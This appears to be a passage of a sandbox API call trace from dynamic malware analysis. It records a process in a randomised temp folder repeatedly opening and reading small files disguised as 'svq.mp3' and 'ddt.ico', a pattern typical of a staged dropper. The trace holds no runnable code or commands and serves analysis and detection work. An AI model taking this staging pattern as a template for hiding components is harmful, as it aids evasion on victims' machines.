[0071.771] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.771] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.771] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.771] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.771] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.771] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.771] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.771] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.771] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.772] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\ddt.ico", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.772] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.772] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.772] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.772] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.772] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.772] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.772] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.772] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.772] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.772] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.772] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.772] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.773] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.773] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.773] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.773] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.773] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.773] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.773] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.773] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.773] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.773] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.774] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.774] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.774] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.774] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.774] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.774] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.774] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.774] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.775] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.775] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.775] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.775] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.775] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.775] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.775] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.775] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.775] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.775] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.775] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.775] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.776] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.776] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.776] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.776] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.776] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.776] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.777] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.777] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.777] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.777] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.777] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.777] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.777] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.777] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.777] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.777] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.777] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.777] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.777] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.778] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.778] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.782] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.782] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.782] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.782] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.782] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.782] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.782] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.782] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.782] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.782] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.782] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.783] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.783] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.783] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.783] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.783] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.783] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.783] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.783] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.783] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.783] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.784] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.784] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.784] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.784] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.784] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.784] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.784] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.784] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.784] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.784] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.784] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\ddt.ico", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.785] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.785] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.785] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.785] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.785] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.785] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.785] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.785] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.785] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.785] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.785] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.785] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.786] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.786] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.786] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff 